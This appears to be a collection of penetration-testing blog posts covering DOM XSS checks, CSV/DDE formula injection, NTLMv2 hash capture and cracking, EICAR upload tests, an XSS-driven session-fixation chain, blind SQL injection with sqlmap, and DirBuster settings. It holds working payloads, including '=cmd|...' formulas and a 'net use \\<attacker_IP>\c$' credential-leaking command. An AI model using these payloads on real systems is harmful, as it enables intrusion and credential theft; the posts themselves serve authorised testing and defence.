These days a typical web app pulls in data from background XHR requests, the responses come back in a data format like JSON, and the data is parsed client-side and inserted into the DOM of the page. This means, of course, that the encoding of the data in the response is not sufficient by itself to know whether there’s a potential XSS risk – it depends how the data is finally encoded when inserted into the page. But consider the following:

1. You enter <script>alert(1)</script> hoping for a quick and dirty win – nothing
2. You suspect input validation so you enter something that you hope will pass validation but test encoding, e.g. xss < > test
3. You inspect the page using the browser dev tools and see it has been inserted as xss < > test
4. So the encoding looks good, and you move on -

But wait! Even dangerous DOM manipulation can perform encoding in a text context. For example, innerHTML will observe the rules and, in a text context, will encode < as < and > as > (and & as & in fact), otherwise those characters are inserted/parsed literally. So the encoding seen in step 3 could be explained by this, meaning that the potential for XSS still exists. It’s precisely because jQuery uses innerHTML as part of functions like append() that the documentation is full of caveats about not using data from “untrusted sources”.

Let’s assume the developers haven’t thought about XSS at all. So why did step 1 fail? This is because the spec says “script elements inserted using innerHTML do not execute when they are inserted”. If the first test case had been <img src=x onerror=alert(1)> the XSS would have been revealed in step 1.

Hope that’s of some use!

[EDIT - for more of the CSV and CMD and less of the qwerty, take a look at this presentation I did later in the year.]

From CSV to CMD

DDE is an old Microsoft technology used to facilitate data transfer between applications, a form of Inter-Process Communication (IPC). The security risks in the context of web applications were, to my knowledge, first published here by James Kettle (I would have sworn this technique was around before 2014 – how time flies).

A brief reminder then: imagine an export function in a web app, where some of the data in the cells comes from user input (so like persistent XSS it is stored and later reflected) e.g. consider an application that stores the following parameter value:

=cmd|'/k ipconfig'!A0

On requesting an export, a CSV file is returned that includes this value in a field. When this file is opened, Excel knows that this DDE reference could be dangerous and issues a couple of warnings:In this case, an eagle-eyed user might raise an eyebrow at CMD.EXE but, as the original article notes, if the user requested the Excel file and it came from a source they trust, why wouldn’t it be secure? And we know that users click through warnings anyway.

When cmd /k ipconfig runs, the /k persists the command window for a screenshot to use in the report In fact, without that persistence, the command seems to run in a minimised window and then of course exits, which is rather nice for our attacker. I should say that export to CSV seems to be cleaner from the attacker’s perspective than export to XLS or XLSX, which often requires extra action by the user to activate the payload such as clicking into the malicious cell, which isn’t desirable. All of this behaviour is subject to the version of Excel running and its configuration.

From CMD to qwerty

The war story concerned an internal application that was vulnerable to the DDE trick, and so I started playing around with payloads that would be more exciting than ipconfig or calc. Here’s a simple one:

cmd /c net use \\<attacker_IP>\c$

In this case the “attacker_IP” belonged to a locked-down workstation (no pentest laptops allowed) – but it did, curiously enough, have Wireshark installed. So here was the “net use” connection from the “victim” (which was in fact a machine I was using and thus I knew the username and password):Bear in mind this was an internal test: if the victim was using a vulnerable internet-facing website, their ISP would likely [cough] block the outgoing SMB connection.

I was dealing with NTLMv2 here: a quick reminder showed that I needed to pull out the following for John:

username:$NETNTLMv2$domain$challenge$HMAC-MD5$blob

What’s in green is known at this point (“NETNTLMv2″ is a constant). I could immediately fill in the domain and username fields as they’re given away in cleartext by the NTLMv2 exchange, helpfully pulled out in the (obfuscated) Packet List above (and anonymised below):

smithjer:$NETNTLMv2$domain$challenge$HMAC-MD5$blob

So what about the other bits? They all relate to the NTLM authentication, which is a challenge-handshake protocol:

1. Client > Server (Type 1, negotiation)
Features supported by the client and requested of the server
2. Server > Client (Type 2, challenge)
Features supported and agreed upon by the server + a challenge
3. Client > Server (Type 3, authentication)
More information about the client + response(s)

The essential difference between NTLM and NTLMv2 is how the response is calculated. NTLM uses MD4 and DES in a weak way which is well known (5 NULL bytes yada yada yada); NTLMv2 uses HMAC-MD5 based on more than just the password and challenge, which is where the “blob” comes in. So that’s covered off the “challenge”, “HMAC-MD5″ and “blob” that’s missing from the John hash I’m having to build up from scratch. (Remember, I had no tools, otherwise Responder would have made this easy.) Here’s the challenge:And here’s the HMAC-MD5 and blob (which is everything after the HMAC in the “NTLM Response tree”):To get the blob, you can copy the NTLM Response bytes from within Wireshark and remove the first 16 bytes (which is the HMAC). The blob is likely to start 0×01010000…So we now have:

smithjer:$NETNTLMv2$domain$36edff8376e59e18$4f68b56e9ce788d010f58b4f049b5c7f$0101000000000000295779de01bbd001b6f955bf062e...

That’s the hard part done, right? Wrong.

Let’s get cracking

Here was John’s response (bear in mind I knew the password), and, after duly modifying the hash format, hashcat wasn’t happy either:Note the “skipping line” error. Turns out hashcat has a bug, which (I later found out) oclhashcat doesn’t suffer from. I experimented with it and reported it – hashcat has problems when the blob length is over 224 bytes. For some reason, it’s not been assigned a “bug” label but a “new feature” label. Anyway, back to John: remember the format on the cheatsheet was:

username:$NETNTLMv2$domain$challenge$HMAC-MD5$blob

Turns out the hashcat format worked a treat, i.e.

username::domain:challenge:HMAC-MD5:blob

To be fair to pentestmonkey, “this sheet was originally based on john-1.7.8-jumbo-5. Changes in supported hashes or hash formats since then may not be reflected on this page”, and I was using a later version. Anyway, all’s well that ends well:

catflap

In order to look into the bug I found, I wrote a script (which I called catflap) that serves two purposes:

1. It extracts what hashcat needs from the NTLMv2 exchange in a Wireshark capture file.
2. It allows you to produce a more realistic test case to check your NTLMv2 cracker is working properly. For this catflap will accept a normal hash format from a file as well as a capture file. catflap will recalculate the NTLMv2 response based on a password you supply. This means all the other variables (username, domain, challenge and, crucially, the blob) in the resulting test hash are exactly the same as the ones in your captured exchange, but in this test case you know the password. In this way you can ensure your cracking tool is working correctly, and acts as a better test than the standard hash examples out there, useful though they are. Of course, you could also play about with other inputs, which is what I did with the blob find the bug.

Usage is simply:

catflap <capture_file | hashcat_file> [password]

The following shows catflap changing the HMAC response to set the password to “password”:You can then run that edited hash through your cracker of choice to ensure it spits out “password”. If not, something’s gone wrong. You can find catflap on github.

Input validation and sanitisation

Whenever I find an Excel export function in a web app, most of the time the DDE trick works because the characters used to launch the payload aren’t the usual suspects. It’s not a well-known attack vector, even among pentesters (or at least it’s been forgotten) so it’s worth remembering to check for this.

What about remediation? The original article on this stated that “the best defence strategy we are aware of is prefixing cells that start with ‘=’ with an apostrophe”. Last month this topic came up in a company-wide discussion at work, and my colleague Cara Marie noted that ‘+’ and ‘-’ could be used to launch a command too. Turns out (thanks to Michael Roberts, another NCC bod) that this had been lurking around for while, for example here). Michael added that you can also use ‘@’ in the format:

@SUM(cmd|'/c calc'!A0)

as well as surrounding the payload with quotes such as:

"=cmd|'/c calc'!A0".

Over this last month the original article has been updated twice to reflect the same findings (except for the use of quotes). So, as far as I know, two independent groups came up with new bypasses for the original recommendation. The point here, then, is that the blacklist approach by itself often fails (which shouldn’t be news to anyone who’s done a re-test). We need to perform validation based on a whitelist of characters and syntax wherever possible. For example, if a field is a phone number, there should be no need for characters such as ‘=’ and ‘@’. Starting off with ‘+’ is reasonable (prefixing an international dialling code) but after that we shouldn’t see any non-numeric characters. We can also restrict the length of that field too. With these restrictions in place, we don’t even need to implement (and maintain) a blacklist.

Red teaming

The story of this article was set around a web application that allowed export but the DDE trick is valuable to red teams trying to get malicious attachments through email. The reason for this is that a DDE payload isn’t a macro and files that use it are often able to fly through perimeter content checks that would stop files with macros.

Methodology

It’s really quite simple – upload a file, download it and compare the hashes. If you upload successfully but don’t download then that’s not sufficient proof – perhaps the file has been silently quarantined. Showing that the hashes of the uploaded and downloaded files are the same proves that the file has not been cleaned up. (If no download feature is available, you can only speculate on the lack of an error message on upload.)

It’s obviously unfair to report a system lacking AV if the file you upload gets only 1 out of 57 hits on VirusTotal, for example. So running the file through VirusTotal and including a screenshot in the report shows the client that the file should have been detected. The output of VirusTotal includes a SHA-256 hash so that nicely ties in with hashing the uploaded and downloaded files, mentioned above.

Which file?

Of course, you don’t want to be uploading real malware. This is where the EICAR test comes in – a widely adopted benign signature that triggers an alert so that you can be sure your anti-virus product is running correctly. So, during a web application assessment, you put together a test file thus:

You upload and download it with no problem – so the files aren’t being checked for malware, right? Wrong. Take a look at the VirusTotal result for this file:

It would be unfair to report a lack of anti-virus scanning using this file as a test case – and not, as we’ll soon see, because most of the AVs have missed it.

Okay, what about this Word document?

Hopefully that was a no-brainer. This file got no hits on VirusTotal because the document text isn’t stored exactly as it’s seen and thus the EICAR signature was not in the raw file at all.

The EICAR test

If you haven’t already guessed, the EICAR test specification is stricter than the appearance of that well-known string. According to the EICAR site “any anti-virus product that supports the EICAR test file should detect it in any file providing that the file starts with the following 68 characters…X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*“. Don’t be fooled by the printable ASCII, though – the file is in fact executable, shown below on a Windows XP SP3 machine:

Let’s take that Word doc and, using a hex editor, stick the EICAR signature at the front:

Now VirusTotal reports 26 out of 56 (46%). In contrast when we put the signature elsewhere in the file (middle or end) we get 1 out of 57 hits.

Technically the anti-virus products that haven’t reported the file are quite right not to do so because there’s another condition that the file “is exactly 68 bytes long”. The spec goes on to say, though, that “it may be optionally appended by any combination of whitespace characters with the total file length not exceeding 128 characters. The only whitespace characters allowed are the space character, tab, LF, CR, CTRL-Z”.

So let’s truncate the Word doc to 112 bytes – and this time VirusTotal reports 34 out of 56 hits (61%), compared to the original 26 (46%). As you can imagine, as we edit the file to get closer and closer to the original EICAR file, the hit rate goes up and up.

In summary

When testing file uploads for the presence of anti-virus scanning, the test file should be picked up by a significant number of AVs otherwise it’s not a fair test. To this end, it’s safest to use the EICAR file – but if you mess with the original too much (even if the signature is still intact), you might inadvertently create a file that isn’t an EICAR test at all. The specification for the EICAR test file is actually quite strict, although AVs tend to be overzealous in reporting it.

The best approach is simply to rename the EICAR test file to a file format the application allows you to upload, e.g. change eicar.com to eicar.pdf. One potential niggle is that the file is no longer in a valid format for the file type it’s purporting to be, e.g. PDFs don’t start with X50!P%@AP so if there’s any file content analysis being done, then the file may be rejected. Depending on the error, this could be taken as evidence that AV is running when in fact it’s not, so other tests are required to confirm this. If text files are allowed, always use the original EICAR test file as a .txt.

Finally, remember that the aim of this check is not to qualitatively assess the anti-virus, you’re really only aiming to prove whether or not AV is running. Once you have proof that it is, stop. It’s really all you can expect to check – and all that should be expected from you within the bounds of a standard application pentest.

The problem

The application used a bespoke session management cookie. I’ll call it MYSESSIONID. On login, it wasn’t renewed. I couldn’t push a session cookie onto the victim in a classic session fixation attack. However, I had XSS in an unauthenticated page – but not the login page. The filtering in place used a combination of removal and encoding. Characters that were stripped out included:

+ ; ( ) ? < >

Characters that were allowed included:

" ' = [ ] / , .

So even though MYSESSIONID wasn’t protected with the HttpOnly flag, I just couldn’t construct a payload to steal it. Instead I looked to set one of my own. Here’s a breakdown of the attack:

1. Get a valid cookie

The application did not accept arbitrary session management cookies so the attacker sends a request to get a valid one. In this case, simply having no MYSESSIONID wasn’t enough, the cookie had to be present but an invalid value did the trick:

Cookie: MYSESSIONID=aaaaaaaaaaaaaaaaaaa:xx01

returned

Set-Cookie: MYSESSIONID=NDnQrZ6JsMHyJTBCw8n:xx01; Path=/; Domain=.example.com

2. The XSS

The malicious link looked something like this (the highlighted bits are explained below):

https://www.example.com/app/folder/page?vuln=foo"%0adocument.cookie%3d"MYSESSIONID%3dNDnQrZ6JsMHyJTBCw8n:xx01:%0dpath%3d/app/

When clicked, the XSS flaw wrote the following to the return page inside a JavaScript code block:

var a = "foo"
document.cookie="MYSESSIONID=NDnQrZ6JsMHyJTBCw8n:xx01:
path=/app/";

The %0a at the front of the XSS payload was used to start a new line and this was sufficient to act as a statement terminator after var a = "foo" (semi-colons were being stripped). But in order to inject a path attribute (discussed below) I did need a semi-colon in the cookie string. By running every character through a Burp Intruder attack, I saw which characters were allowed, which were stripped and which were returned encoded. By inserting :%0d into the XSS payload :
 was returned – yes, %0d was encoded but %0a (used above) came back fine! Being inside a string inside a JavaScript block 
 wasn’t seen as an HTML entity by the browser and thus wasn’t interpreted. This provided the semi-colon needed to create a path attribute.

The colon at the front was used because it looked like the session cookie was delimited in that way. That “xx01″ might refer, for example, to an internal server for load-balancing. Anyway, whatever it did, the application tolerated the unusual suffix to the session cookie. So that explains the :%0d appended to the cookie value in the XSS payload. Now for the path%3d/app/…

3. The victim logins in

So, at this point, the attacker has set the MYSESSIONID cookie on the victim to be NDnQrZ6JsMHyJTBCw8n:xx01:&#13 via a reflected XSS attack. Now the victim goes to the login page at https://www.example.com/app/login or is bounced there by navigating to a part of the site that enforces authentication. At login two MYSESSIONID cookies are passed up. This is because one had been set earlier in a Set-Cookie response header the first time the victim hit the site, even if that was by visiting the XSS’ed page. The genuine MYSESSIONID has a path of / and a domain of .example.com. If I had set a cookie by XSS with no attributes my cookie would have had a path of /app/folder/ (to match the path of the page which set the cookie) and a domain of www.example.com (to match the domain of said page). This would mean my cookie would never be sent up to /app/login for authentication, hence the need to set a path as part of the XSS.

Furthermore, when two MYSESSIONID values were sent up, the application took the first value so I had to make sure my cookie was first. By setting a path of /app/, it trumped the real MYSESSIONID for having a better path match to /app/login. Thus it was listed first in the POST request with the credentials and became authenticated:

Cookie: MYSESSIONID=NDnQrZ6JsMHyJTBCw8n:xx01:
 MYSESSIONID=4GRc4jiKNeQIfsqh2:xx01

In contrast, the domain of a cookie does not govern precedence in a standardised way, it varies between browser. From memory I think my cookie (with a more specific domain match) was sent up first by IE but second by Chrome and Firefox. It’s not something you want to rely on. Neither could I overwrite the cookie because for that to happen the name, path and domain must match. That would mean having to change both attributes from their defaults but in this case I could only change one. This is because I’d need a second semi-colon to set a second attribute and in doing so, using the encoding trick above, the first attribute would be spoilt, e.g. I’d get

var a = "foo"
document.cookie="MYSESSIONID=NDnQrZ6JsMHyJTBCw8n:xx01:
path=/app/
domain=.example.com";

Developing this proof-of-concept for this specific injection point was quite fiddly and took some persistence but it was worth it. For all of their filtering – and because they did not change the session cookie after authentication – this was a nice practical attack using an unauthenticated XSS. One take-away thought then: be sure to probe the XSS defences in full because you never know what might come back and how it could be of help!

The first thing I did was to try to terminate the query as simply as possible with no funny business. So in went search=keyword'-- but back came an error. It turned out that the injection point was inside a doubly nested query as search=keyword'))-- worked, producing the same results as search=keyword. After a bit of faffing about it occurred to me that spaces might be the issue. So I tried search=keyword'and'1'='1 (no spaces in there) and it worked! No error was returned – but it didn’t produce the same results as search=keyword, it returned no results at all. What produced the same results as search=keyword was search=keyword'or'1'='1. Okay, park that for now. I had found the main problem – and it was immediately clear what was going on.

With a developer’s hat on, what would you do if a user ran a search with multiple keywords? The obvious answer would be to split up the search terms with space as a delimiter, run a query on each one and then return all the results together. If that was true then search=keyword' and '1'='1 was running a database query against three terms: keyword', and, '1'='1. The first of these would fail (just like search=keyword' did), as would the last if it got that far. So next I tried search=keyword'/**/and/**/'1'='1 using the inline SQL comment characters and got the same result. Again, using AND returned no results but using OR was like a normal query with search=keyword. I had seen this kind of behaviour once before but I couldn’t remember what the context was, which is why I’ve written it down this time!

AND vs OR

In general, AND within a SQL statement (and thus in SQL injection too) is restrictive, narrowing the result set, whereas OR is inclusive, widening the result set. But, as with all SQL injection, it all depends on the underlying query. So what could be happening here?

Again, with the developer hat on, what else might you do with a user’s search terms? Well, it would be nice if you searched a little more widely, using them as stubs. In fact some of the SQL errors were giving this away (thanks, guys): Incorrect syntax near ‘%’. The % character is, of course, a wildcard used with LIKE. So when I searched for keyword, somewhere in the resulting query was LIKE '%keyword%'. This perfectly explains the AND vs OR behaviour…

When I injected search=keyword'and'1'='1 the resulting query included LIKE '%keyword'and'1'='1%'. So the AND clause I’d added was always evaluating to FALSE and hence no results were returned. Whereas injecting search=keyword'or'1'='1 produced LIKE '%keyword'or'1'='1%'. Even though one half of the OR clause was evaluating to FALSE, overall it returned TRUE when I got a positive hit on the keyword.

Since the injection point was inside a doubly nested query and this was a black box test, I had no idea what the real query was, but this certainly made sense. I tried a few more injections to test the theory just for the hell of it:

1. When I terminated the statement, AND and OR did their “usual” thing. Which is to say that search=keyword'/**/and/**/1=1))-- produced the same result as search=keyword whereas keyword'/**/or/**/1=1))-- produced lots of results. This is because I was now commenting out the final % along with the rest of the statement.
2. When I injected search=keyword'and'1%'='1 I got the same results as if there had been no injection. This was the real proof. Now the resulting query would have included LIKE '%keyword'and'1%'='1%' so my AND clause evaluated to TRUE when I got a positive hit on the keyword.
3. Finally, for what it was worth, search=word'and'1%'='1 produced the same result, showing that a % preceded the injection point.

sqlmap

One of the things that makes a great tool is the ability to customise it for a particular attack scenario. And sqlmap offers that in abundance. In this case a “tamper” script, which transforms the payloads in some way, worked a treat. One of the built-in tamper scripts is “space2comment” – bingo! In fact running sqlmap with this script allowed it to find the injection point. Without the script, though, sqlmap would have been stuck because, to quote the wiki page, “sqlmap itself does no obfuscation of the payload sent, except for strings between single quotes replaced by their CHAR()-alike representation”.

All this was a good reminder that, when things are getting tough, thinking like a developer can help to turn near-misses into exploitable flaws. Having said that, I’ve seen code in the past that I could never have guessed, when it was clear the developer wasn’t thinking at all!

As long as an attacker can remotely force the victim to use a known session cookie that becomes authenticated, you’ve found session fixation, but it’s one of those flaws that can be achieved in multiple ways that are subtly different from one another. In this particular instance the session fixation attack ran like this:

1. The attacker makes up a session cookie

Yes, the application accepted client-generated cookies.

2. The attacker makes a specific request using the fabricated cookie

This was a bit odd but if the session cookie from a request was not recognised by the application (whether it was made up or, more usually, it had just been set by the previous response page) then a background XHR request was made that effectively “authorised” the cookie. Okay, whatever, so the attacker does this.

3. The login page suffered from XSS so the attacker crafts a malicious link to set the known cookie on the victim.

The malicious link was something like this (I’ve removed the URL-encoding to make it easier to read):

https://www.example.com/login?param="><script>document.cookie="PHPSESSID=attackerCookie; path=/login; expires=Tue, 06-Aug-2024 00:00:01 GMT"</script>

In more “traditional” session fixation the attacker’s cookie is a parameter in the request that the attacker tricks the victim into making, so using XSS seems a bit like cheating. Unfortunately (for me) the application didn’t accept a session cookie in the “traditional” way and XSS was my only option. OWASP does credit XSS in its description of session fixation but, that aside, not only did XSS help the session fixation attack but the session fixation flaw helped the XSS attack…One reason for this was that a simple document.cookie session hijack through XSS was restricted by the response to the above request:

Set-Cookie: PHPSESSID=serverCookie; path=/; secure; HttpOnly

Because of the httponly flag, the XSS payload could not pull out the session cookie and send it to the attacker. Of course, many other interesting XSS options are still possible, such as rewriting the form’s action attribute so that the login credentials would be sent to the attacker. However, one advantage of the session fixation approach (apart from the interest of seeing it working) is that nothing is sent to the attacker. Furthermore, as I’ll explain later (and you may have already spotted from the XSS payload) this attack has the potential to be more long-term than knowing the username and password.

The httponly flag has another effect: the XSS payload can neither read it nor overwrite it. This behaviour isn’t standardised, it’s one of those grey areas that Michal Zalewski covers so well but in this case it’s not so grey. IE 10, Chrome 37 and Firefox 30 all behaved in the same way. But you might have noticed that the XSS payload included a path of /login when it set the session cookie. This is where the attacker wins as now the browser doesn’t see this as an overwrite but as a different cookie altogether…

4. The victim logs in and the session cookie becomes authenticated

The server-generated session cookie included a path=/ directive so when the victim logs in to /login the attacker’s cookie has precedence (in that it’s listed first) because the path is a more specific match to the target page:

Cookie: PHPSESSID=attackerCookie; PHPSESSID=serverCookie

The application processed the first cookie with the login, thus the attacker’s fabricated cookie became authenticated and was associated with the victim’s account. Of course if the session cookie had been changed after authentication, which is best practice, the attack would have failed. Note that the attacker can also set the domain attribute of the cookie to .example.com to try to widen the impact of the attack.

5. The attacker uses the known session cookie to masquerade as the victim

The last thing to mention is the long-term nature of this attack. Although logging off did detach the session cookie from the victim’s account, leaving it unauthenticated, the application did not clear it (again, best practice). So the next time the website is visited, the attacker’s session cookie will again be offered, accepted and authenticated. Because the XSS payload effectively makes the cookie permanent by setting a long expiry date, the attacker has access to the account of anyone that logs in using the compromised browser in the future. Of course, the persistence of the attack dies as soon as the browser’s cookie cache is cleared – but how often does that happen? For what is, after all, a reflected XSS attack, you’d be certain to get a good return. Indeed, if the browser is shared among users (e.g. at home or at internet kiosks), a single XSS attack can exploit multiple users of the website, making it a one-to-many attack, which you don’t tend to associate with reflective XSS.

I’m not claiming any of this is particularly novel, by the way. I just enjoyed finding the XSS path trick for myself and using it with session fixation to poke fun at httponly and to create a more persistent version of a reflective XSS attack. It also demonstrated that best practice points, although seemingly trivial when taken alone, can help to stop or mitigate more complex attacks.

The slides can be found here.

Cheatsheet

UPDATE 7th September 2014: I’ve now written a table that pulls together the manual checks discussed in the presentation – plus a few more (which will appear in any future presentations). Since tables are a pain in WordPress and I don’t want to risk a plugin at this time of night, you can find a (lazy) HTML table here.

For updates on content and future presentations follow me.

If you know what DirBuster is then you can skip this paragraph. If you don’t, then DirBuster is designed to brute-force directory and file names on web servers, the point being to find content to which there are no links. It’s an OWASP project and you can find it here. While you can run it in a pure brute-force mode, you’ll most likely be using a dictionary to maximise your chances of finding something in the time available. DirBuster comes with a set of dictionaries that were generated by crawling the internet for real directory and file names.

Cheer number 1

On a test of a web portal DirBuster found pages at /users/ and /organisations/. The portal was a closed system used by the owner to exchange financial information with many other organisations in (what was supposed to be) an isolated way. Sorry to be vague but you understand why! Navigating to /users/ opened up a whole user management area, with full names, email addresses, roles, last login etc. At /organisations/ there was an organisation management area, from where you could access the same user details from other organisations. Oops. While unauthorised data access was possible, attempts to execute administrative functions failed – but the fact that these functions were exposed was useful in itself because there was no CSRF protection. Moreover it was simple to target an administrator (of any organisation) because you could look them up from the user listings. The only saving grace was that you had to be authenticated – a point I’ll return to later.

Cheer number 2

On a public website for a high-street company, DirBuster found the page /staff/. This revealed a staff discount page where you could go through and order stuff at significant discounts, meaning lost revenue to the client. Of course, this sort of thing has a habit of getting out on to discount sites and the like. The page was available unauthenticated (although since anyone could register for an account, that’s by the bye).

Cheer number 2½: DirBuster also found a page that had a special offer for readers of a particular publication. Not as important this one since it was obviously there for the taking but it clearly wasn’t designed to be available to all.

Cheer number 3

On a test of a web portal, while authenticated, DirBuster found a positive response from /admin. This turned out to be an authorisation flaw and a short time later, after some fuzzing of user IDs, I had some 2,300 usernames and email addresses as well as plaintext passwords for about a third of those accounts. This portal was used by many different organisations – and a user from one of them could log in to another user’s account from another organisation. Oops.

In fact I had a fourth cheer yesterday, where I found a page that allowed me to self-register unauthenticated on (what was supposed to be) a closed site! But “four cheers for DirBuster” sounds a bit naff.

Walk-through

The rest (and majority) of this article is a walk-through of the main DirBuster configuration options. Note that I’m describing a general case in what follows and obviously there may be times when you need to do things differently. That’s an important part of pentesting: adapting your test to suit the target. Having said that, let’s take a look at the starting screen (of version 1.0 RC1, on which this article is based):

Target URL

For the “Target URL” consider HTTP vs HTTPS. HTTP is obviously faster but a website will often redirect some or all requests to the HTTPS equivalent whether the page is actually there or not, which will spoil your results. You can enable “Follow Redirects” from the Options menu but that’s a considerable overhead if it’s happening with every request. If the redirect happens only when the page exists then a HTTP-based scan should be speedier. My personal preference is that if the site is happy delivering HTTP pages over HTTPS, which is normal, I’ll go for HTTPS. Despite the overhead slowing down the request rate, it does tend to rule out excessive redirects since it would be unusual for a HTTPS request to be redirected to a HTTP equivalent. Redirects may also confuse the “fail case”, which DirBuster uses to decide how it knows whether or not a guess is correct, which could lead to false negatives as well as false positives. More on this later.

A similar situation may arise with the domain in that https://site.com/page may always redirect to https://www.site.com/page so use https://www.site.com:443 as your base URL.

Work Method

The default “Auto Switch” mode is probably best for the majority of cases. DirBuster will first try to see if it can get sensible results from HEAD requests, the reason being that the responses will be smaller. Even though it makes a GET request on 200 responses, this will save time when the 404 message (or equivalent) is relatively large. On the site I was looking at when writing this bit, the full HTML 404 response was about 19kB bigger than the disembodied 404 set of headers you’d get with HEAD. A crude bit of testing showed this took on average twice as long to arrive and be processed, adding 200ms to the response time. Given that you’re getting 404s most of the time this could mean a saving, even with the small dictionary, of over 1.4 gigabytes or 4 hours of waiting!

Number Of Threads

Running DirBuster with a high number of threads can slow down the target server, which may not go down too well if you’re testing a live site. You’ll probably find the default (10) to be a little over-enthusiastic, especially as you’ll be running other tests simultaneously. If you examine the number of threads in the DirBuster process (javaw.exe) while it’s running, you’ll see it jump up by more than the number you set in this field. I haven’t looked at the source code but I’m assuming that DirBuster is indeed honouring this field. I imagine that the “number of threads” refers to “Workers” that handle the actual requests and responses over the network while the other threads, for example, manage different queues depending on what you tick at the bottom of the screen.

As an aside, I’ve noticed that when you run a number of scans without re-starting DirBuster, the number of threads at rest tends to increase. I’m not sure if this is an issue that could degrade performance but just bear it in mind. (I did try to contact the project lead, James Fisher, to ask about threading but I got no reply. And it’s not that big a deal to warrant rummaging through the source code!)

I have DirBuster running on another monitor so I can keep an eye on the requests per second and any sudden scrolling, which usually means errors! Bear in mind that, say, 20 requests per second over HTTPS will be working the server harder than 20 requests per second over HTTP. A nice feature is that once the scan is running, you can dynamically change the number of threads.

Dictionary

Assuming you opt for “List based brute force” you’ll now need to choose a dictionary – and for this you need to know whether or not your directories are case sensitive. Although you can often guess this from the server in use, e.g. IIS isn’t case sensitive, it’s always best to check. So test a page that you know to exist, i.e. does /page return the same as /Page? Even when the server is case-sensitive, a look over the site map in your web proxy may show that all the pages you’ve requested are in fact lower case. But don’t go thinking that using the case-sensitive lists will take all that much longer. Clicking “List Info” brings up some statistics on the dictionaries, a portion of which is shown below:

You can see that the case-sensitive lists are nowhere near even twice the size of the lowercase versions, which you might have imagined as a minimum. That’s because the lists are based on real names found by crawling the internet. The file “directory-list-2.3-small.txt” has 87,650 entries while the lowercase version has 81,629 entries so it’s only 6,021 entries longer (about 7% bigger). For the medium-sized lists the numbers are 220,546 vs 207,629 so the case-sensitive version is 12,917 entries longer (about 6% bigger). So using the case-sensitive lists may not involve as big a hit as you might expect. (You can also see from the List Info what the actual difference is between big, medium and little: the entries were found on at least 1, 2 and 3 hosts respectively.)

Before you even start your attack you could consider putting together a small dictionary of a few directories and files you’ve found, together with some gibberish entries, to use on a test run. If you don’t see the results you expect, review your configuration bearing in mind some of the points from this article. A short test run might save you hours of wasted effort.

Starting options

The “Standard start point” will assume directories end with / and files end with whatever you configure underneath. The “URL Fuzz” option allows you to insert the dictionary entries into the URL in a non-standard way. A good illustration is to discuss why there’s an Apache user enumeration list included in the set of dictionaries (apache-user-enum-2.0.txt). This is because if the userdir module is enabled (more on this here) you can go hunting for usernames based on the fact that the user “bob” will have a folder mapped to http://site.com/~bob/. So in this example the URL to fuzz would be /~{dir}/ where {dir} is a placeholder for the words in the chosen dictionary.

The remaining options are self-explanatory but there are still a few things to consider. Obviously the more options you tick the longer the scan will take. So look first at the style of URL the website uses. For example, you might find that requests to /page produce redirects to /page/ or that both of these return the same response. Either way, don’t run “Brute Force Dirs” together with “Brute Force Files”+”Use Blank Extension” because you’re doing twice the amount of work to get the same result. Conversely if you spot that there doesn’t seem to be much content in directories, i.e. none of the pages end with a / character, then don’t run “Brute Force Dirs”, rely on “Brute Force Files” instead.

If you enable the “Be Recursive” option, remember that DirBuster’s multi-threaded approach means that all those queues of work will be competing for a limited set of Workers. It’s easy to get into a situation where the Workers are looking in sub-folders of no real interest, slowing down the search for better candidates. In a time-limited test you could try looking at just the root content first by disabling this option. Where you go from there can be both manual and automated – and there’s always the option to create a custom dictionary for further scans based on the results of the first scan.

Options Menu

I’ve already mentioned “Follow Redirects” – in general, tick this only if you have to because it has the capacity to slow down the scan. Without this ticked, you’ll see 301 and 302 responses in the final results and you can just manually target the ones of interest later.

Choosing “Debug Mode” will only make a difference if you’re launching DirBuster from a command window that remains open in the background:

The references to Worker[n] are to the threads doing the networking so for n threads that you set you’ll see Workers from [0] to [n-1].

The option “Parse HTML”, which is on by default, instructs DirBuster to read the HTML of files that it discovers, looking for files and folders it then doesn’t have to guess. These can be found, for example, in the href attributes of <a> tags. You might decide this is overkill since DirBuster will quickly begin to download a lot of stuff you’ll see elsewhere during testing e.g. in Burp’s Proxy and Site Map. Overall this may add an overhead for results you simply don’t need – at least not from this tool on the first scan. There’s another possible benefit to disabling this when running authenticated scans, which we’ll come to momentarily.

Advanced Options

I’ll skip the first two tabs, which are self-explanatory, and start with the tab that’s active in the screenshot above…

Http Options

First, DirBuster allows you to add custom headers to your requests so you could, for example, add an authenticated session management cookie. Whoa! Did you say run an automated scanning tool authenticated? Yes I did. After getting a feel of the site you may be comfortable doing this – it can pull out some interesting finds (as shown by the case studies at the start of this article). Anything you find authenticated that you didn’t find unauthenticated is really worth a look. Although the risk of side effects is much lower than running a full-on active web application scanner authenticated across a site, of course I have to say that it’s not without risk! I disable “Parse HTML” and “Be Recursive” as a safety measure.

Underneath is the “Http User Agent” and you can see the default looks nothing like a real User-Agent string. If you’re getting odd results from DirBuster that you’re not seeing in Burp, you could try changing that option, e.g. to “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0″.

Lastly, the option to use a proxy is useful for troubleshooting – as well as learning! You could also take advantage of your upstream proxy’s features to handle more complex cases (adding an overhead, of course).

Scan Options

Here lies the all-important “Fail Case String”, which by default is “thereIsNoWayThat-You-CanBeThere”. The response from this page is used to determine whether or not a guessed page/directory is there so it’s critical for the success of the scan. DirBuster will request this often in fact – for every file type in every directory that it finds. So starting from / with all the scan options enabled (directories, files, recursive and blank), having found /admin/users/, for example, DirBuster will request:

/admin/users/thereIsNoWayThat-You-CanBeThere/
/admin/users/thereIsNoWayThat-You-CanBeThere
/admin/users/thereIsNoWayThat-You-CanBeThere.php

If you’re getting strange results from DirBuster, consider changing this string. It may even be worth getting into the habit of manually testing the fail case string as a directory and page before you start a lengthy scan.

DirBuster Options

The last tab serves as a reminder that most of the Options and Advanced Options discussed above get reset when you re-start DirBuster. Only the proxy settings persist beyond the options listed in this tab, which cover the default number of threads, dictionary and file extensions. These options will be pre-populated when you start DirBuster from fresh. Although you’ll lose many of your options on restart, being forced to reconsider them maybe isn’t such a bad thing.

And finally

